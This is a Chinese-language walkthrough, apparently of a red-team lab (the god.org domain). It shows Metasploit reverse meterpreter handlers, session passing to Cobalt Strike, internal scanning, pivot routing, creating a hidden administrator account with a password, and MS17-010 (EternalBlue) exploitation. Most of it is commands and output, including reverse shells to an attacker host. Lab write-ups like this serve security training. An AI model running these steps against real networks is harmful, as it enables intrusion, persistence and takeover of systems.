msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 0.0.0.0 lhost => 0.0.0.0 msf6 exploit(multi/handler) > set lport 2333 lport => 2333 msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:2333
然后用蚁剑传上去执行:
shell就弹过来了:
这边可以将msf的shell派生给cs:
msf派生cs
用2333端口的监听器,然后meterpreter:
1 2 3 4 5 6 7 8
background use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set DisablePayloadHandler true set lhost vps_ip set lport 2333 set session 1 run
192.168.52.138:445 open 192.168.52.138:139 open 192.168.52.138:88 open 192.168.52.141:7001 open 192.168.52.143:3306 open 192.168.52.141:445 open 192.168.52.138:135 open 192.168.52.143:445 open 192.168.52.141:139 open 192.168.52.141:135 open 192.168.52.143:139 open 192.168.52.143:135 open 192.168.52.138:80 open 192.168.52.143:80 open 192.168.52.141:21 open 192.168.52.141:7002 open 192.168.52.141:8098 open 192.168.52.141:8099 open [*] NetInfo: [*]192.168.52.143 [->]stu1 [->]192.168.52.143 [->]192.168.239.128 [->]169.254.129.186 [+] 192.168.52.143 MS17-010 (Windows 7 Professional 7601 Service Pack 1) [+] 192.168.52.138 MS17-010 (Windows Server 2008 R2 Datacenter 7601 Service Pack 1) [*] NetInfo: [*]192.168.52.141 [->]root-tvi862ubeh [->]192.168.52.141 [*] NetBios: 192.168.52.143 stu1.god.org Windows 7 Professional 7601 Service Pack 1 [*] WebTitle: http://192.168.52.138 code:200 len:689 title:IIS7 [+] 192.168.52.141 MS17-010 (Windows Server 2003 3790) [*] NetInfo: [*]192.168.52.138 [->]owa [->]192.168.52.138 [*] WebTitle: http://192.168.52.141:8099 code:403 len:1409 title:The page must be viewed over a secure channel [*] WebTitle: http://192.168.52.141:7002 code:200 len:2632 title:Sentinel Keys License Monitor [*] NetBios: 192.168.52.138 [+]DC owa.god.org Windows Server 2008 R2 Datacenter 7601 Service Pack 1 [*] WebTitle: http://192.168.52.143 code:200 len:14731 title:phpStudy 探针 2014 [+] ftp://192.168.52.141:21:anonymous
筛掉这个靶机的.143
另外找到了192.168.52.141和192.168.52.138
建立52段的路由:
1 2
run autoroute -s 192.168.52.0/24 run autoroute -p #查看路由状态
看端口情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
192.168.52.138:445 open 192.168.52.138:139 open 192.168.52.138:88 open 192.168.52.138:135 open 192.168.52.138:80 open
192.168.52.141:7001 open 192.168.52.141:445 open 192.168.52.141:139 open 192.168.52.141:135 open 192.168.52.141:21 open 192.168.52.141:7002 open 192.168.52.141:8098 open 192.168.52.141:8099 open
net user err0r hongrisec@2019 /add net localgroup administrators err0r /add net user err0r
远程桌面连一下:
1 2
err0r hongrisec@2019
或者
1 2
GOD\Administrator HONGRISEC@2019
就好了
接下来就是拿永恒之蓝爆剩下的服务
Administrator
拿下
141:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
background msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 106.52.94.23 lhost => 106.52.94.23 msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 6001 lport => 6001 msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.52.141 RHOST => 192.168.52.141 msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[-] Handler failed to bind to 106.52.94.23:6001:- - [*] Started reverse TCP handler on 0.0.0.0:6001 [*] 192.168.52.141:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 192.168.52.141:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2003 3790 x86 (32-bit) [*] 192.168.52.141:445 - Scanned 1 of 1 hosts (100% complete) [+] 192.168.52.141:445 - The target is vulnerable. [-] 192.168.52.141:445 - Exploit aborted due to failure: no-target: This module only supports x64 (64-bit) targets [*] Exploit completed, but no session was created.
执行失败,不能用64位的
换个方式打:
1 2 3 4
use auxiliary/admin/smb/ms17_010_command set rhost 192.168.52.141 set rport 445 run